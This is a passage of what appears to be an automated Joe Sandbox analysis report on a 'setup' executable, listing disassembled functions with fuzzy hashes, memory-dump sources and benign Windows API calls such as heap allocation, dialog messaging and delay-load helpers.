Opcode Fuzzy Hash: 08400e5b3d41e432230df8345086a0c0d6761cd3e9acd16d8f488bef03a45dba
Instruction Fuzzy Hash: 18217171C04249AECF14DF56C9519EEBBB4EF29304F0004EFE809A3252D7396E16DB65

Function 004992E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004992EB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1572b2a637a85e0f583758b08a8ce78f90dfea379717c92e8cfaf4760d05afdc
Instruction ID: 3335963e8f87b23e58509be1dfd15b0241705ed13a0d477071f4d6bc68285511
Opcode Fuzzy Hash: 1572b2a637a85e0f583758b08a8ce78f90dfea379717c92e8cfaf4760d05afdc
Instruction Fuzzy Hash: 261170739105289BCF26AEA9C881ADEBF35AF48754F05413FFC04A7251CA398D1086A8

Function 0049AA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 0049AA9A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: d43ccb38fdb455d509e72ccbec6d37c792cf42c28f3cc310a0b18aaa1b980524
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: 84F08C715007059FDF30DA66C945616BBE8EB11320F20892FE49AC2690E778D8A4C78A

Function 00495BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00495BDC

Part of subcall function 0049B07D: __EH_prolog.LIBCMT ref: 0049B082

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f69b52e7804814371e2decfb42b3d27ef4226d3bc363abdb90a6bf8c1ee0a989
Instruction ID: 49ce86dd28387e231ec1de8e3024a9785aa756cea049650b9edb31b777989849
Opcode Fuzzy Hash: f69b52e7804814371e2decfb42b3d27ef4226d3bc363abdb90a6bf8c1ee0a989
Instruction Fuzzy Hash: EB018634905644DACF25F7B5C0557DDFBA49F19708F8085AFA85A53283CBB81B08C756

Function 004B8518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BC13D,00000000,?,004B67E2,?,00000008,?,004B89AD,?,?,?), ref: 004B854A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b0cde2bf9c7c1382ef4bd4e376be06ce28a39b1f76fc76ccba2dab79a3d2f9a1
Instruction ID: 74909a02b92f58d7606454976ccd3077ae159a5204d24a20aa0d307b7edb4afc
Opcode Fuzzy Hash: b0cde2bf9c7c1382ef4bd4e376be06ce28a39b1f76fc76ccba2dab79a3d2f9a1
Instruction Fuzzy Hash: E5E06571540261BBEB312A6E9C01BDB7B8C9B517F0F15422FAD55A6295CE28CC01C5FD

Function 0049A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0049A4F5

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 3bd6aea36eeec9553239295114b37a5161f77619d9767ac648c74ecaea12b9d9
Instruction ID: 9a1ea2869e403629c49f1c194be0eabdc1e6d67c05b7483746c4bb352cd6b7ab
Opcode Fuzzy Hash: 3bd6aea36eeec9553239295114b37a5161f77619d9767ac648c74ecaea12b9d9
Instruction Fuzzy Hash: 3BF0E931008380BACF221B7948057C77FA0AF05335F14CA1EF5FD12191C27C14A597A7

Function 004A067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 004A06B1

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 4cf67363b585baba67e070fcb8487bd6c45616510a7bf46636096869e5f61dcd
Instruction ID: 3fd139b5f6d8883556eae20e06319a0fcd571985379dbf33af8d8eef6c3ae2e7
Opcode Fuzzy Hash: 4cf67363b585baba67e070fcb8487bd6c45616510a7bf46636096869e5f61dcd
Instruction Fuzzy Hash: DDD0C22520111029DE213766A80D7FF1A064FC7729F09003FB40D132968B8E088683AE

Function 004A9D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 004A9D81

Part of subcall function 004A9B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 004A9B30

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: bfdfd5b5cc7e5604325082fbd542b7a3da7b90ab63dabd6de7a1179f86b18f2c
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: CBD0A73021420C7ADF40FAB28C02A7A7BA8EB22300F00406FBC0886241ED76DE50A27A

Function 00499989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00499887), ref: 00499995

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f569c0810fd68f647bde614958280b4c5f0b75e7a1a9a630be05dccccd5c2b11
Instruction ID: cbd44fc440b59f50b07bd3f1272ae447beffeeece96ffa6091f8a7e0b5e4eb0b
Opcode Fuzzy Hash: f569c0810fd68f647bde614958280b4c5f0b75e7a1a9a630be05dccccd5c2b11
Instruction Fuzzy Hash: C8D012B2012140958F655A3D4D0949B7F51DB83367B78C6BDD025C42A5D727CC03F545

Function 004AD41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 004AD43F

Part of subcall function 004AAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AAC85
Part of subcall function 004AAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AAC96
Part of subcall function 004AAC74: IsDialogMessageW.USER32(00010412,?), ref: 004AACAA
Part of subcall function 004AAC74: TranslateMessage.USER32(?), ref: 004AACB8
Part of subcall function 004AAC74: DispatchMessageW.USER32(?), ref: 004AACC2

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 0b71a64555532dea3f5f3b60b86d34906dac46a1d2dd4e3cb8d6f8c4ebb7b5cf
Instruction ID: f7530f681ab05a55dd7534c6d4e6172ffec0dce57b3484264d9babda6a5e826d
Opcode Fuzzy Hash: 0b71a64555532dea3f5f3b60b86d34906dac46a1d2dd4e3cb8d6f8c4ebb7b5cf
Instruction Fuzzy Hash: F5D09E71144300ABDA112B52CF06F1F7EA6AB99B08F404569B344740B186669D30DB1A

Function 004AD8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 149609903062c38be680eabc1cfbb04d6a0b1988a7a2b4dd5da67cfcf228998a
Instruction ID: f99adb0aba38753e921bf73070980c88a0cc8ef261fb9fa1dbf70db69296fc30
Opcode Fuzzy Hash: 149609903062c38be680eabc1cfbb04d6a0b1988a7a2b4dd5da67cfcf228998a
Instruction Fuzzy Hash: 66B09295A680026D214861056A07E360218C496B11730841FB10BD2580D68C580A043E

Function 004AD8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fb3ea2d6cfb815d7df32fa070ca2938dae14305356201cd0c60c78d2f595f5c8
Instruction ID: 8de6fbe078365bbeabee5a35fea78f0869f4ee76fe3b8e77f0dcf0c4bf3afdd7
Opcode Fuzzy Hash: fb3ea2d6cfb815d7df32fa070ca2938dae14305356201cd0c60c78d2f595f5c8
Instruction Fuzzy Hash: 66B01295A6C1026C318871056E07F37031CC4D6B11730C51FB10BD25C0D68C5C8A043E

Function 004AD8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c2ed05997ecc9f5fa9337e7128dc4b595a337ac36515986834bcf8f78c651767
Instruction ID: 72d1579cae5b3cedf3db30b9b1c4856d22f4eee45390b1da09ef61b7e3e69332
Opcode Fuzzy Hash: c2ed05997ecc9f5fa9337e7128dc4b595a337ac36515986834bcf8f78c651767
Instruction Fuzzy Hash: C5B012A5A6D4016C314871056E07F37031CC4D7B11730C41FB50FD24C0D58C5C05043E

Function 004AD8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e6f81fa6b0a2c834dd5fd232d89174674a7a93b64b115f5b1f0c2aabc9ea796b
Instruction ID: 00fb902172511c46289c1801ab15249269470a765b286f61ce852f8d1ebec83b
Opcode Fuzzy Hash: e6f81fa6b0a2c834dd5fd232d89174674a7a93b64b115f5b1f0c2aabc9ea796b
Instruction Fuzzy Hash: DAB012A5A6C5016C318871056E07F37031CC4D7B11730851FB10FD24C0D58C5C45043E

Function 004AD8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4f1543aa7bbf41331d160f145320873551d9f2f3e8a716c3694ee5f0cf3f0e4c
Instruction ID: 1a63bda475b2d6a05cb2da64074c03e9a98c1419f268155da57bab8d321abd8a
Opcode Fuzzy Hash: 4f1543aa7bbf41331d160f145320873551d9f2f3e8a716c3694ee5f0cf3f0e4c
Instruction Fuzzy Hash: 4FB012A5A6C4016C314C71066E07F37031CC4D7B11730841FB10FD24C0D58C5C05043E

Function 004AD8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 06ed23385c01c4f89f4d98062dc0de8855d7b3a126f039985434c05d26f8bad3
Instruction ID: 2d7b60ed857ee8616cae8e3c41bc47403c4ad38be2a7f26d1a001f4215b990b7
Opcode Fuzzy Hash: 06ed23385c01c4f89f4d98062dc0de8855d7b3a126f039985434c05d26f8bad3
Instruction Fuzzy Hash: FBB012A5A6C4016D314C71056F07F37031CC4D7B11730841FB10FD24C4D58C5D06043E

Function 004AD891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5b2b6c374b044cda3c6dc9f91cc7c52274eded6888a27a1f73f2bd837f975a25
Instruction ID: d0dfc5d53333fbeb5017422646306d3d2c46aa2fa9ccfb6d2f9f382a7ecd060b
Opcode Fuzzy Hash: 5b2b6c374b044cda3c6dc9f91cc7c52274eded6888a27a1f73f2bd837f975a25
Instruction Fuzzy Hash: E4B01299A6C3017C314831016E57E3B031CC4D2B11730892FB10BE14C0D58C5C49443E

Function 004AD8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1651a7ef196c25c35278401619c49ab1c62b0c31eef149b1b171f86a27524db9
Instruction ID: 226058f84f32f4e8995896dcb72f30765be6cb1299f44403aee2c50595267ae8
Opcode Fuzzy Hash: 1651a7ef196c25c35278401619c49ab1c62b0c31eef149b1b171f86a27524db9
Instruction Fuzzy Hash: A3B01299A6C1056C314871056E47F3B031CD4D6B11730841FB10BD24C0D58C5C05053E

Function 004AD8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
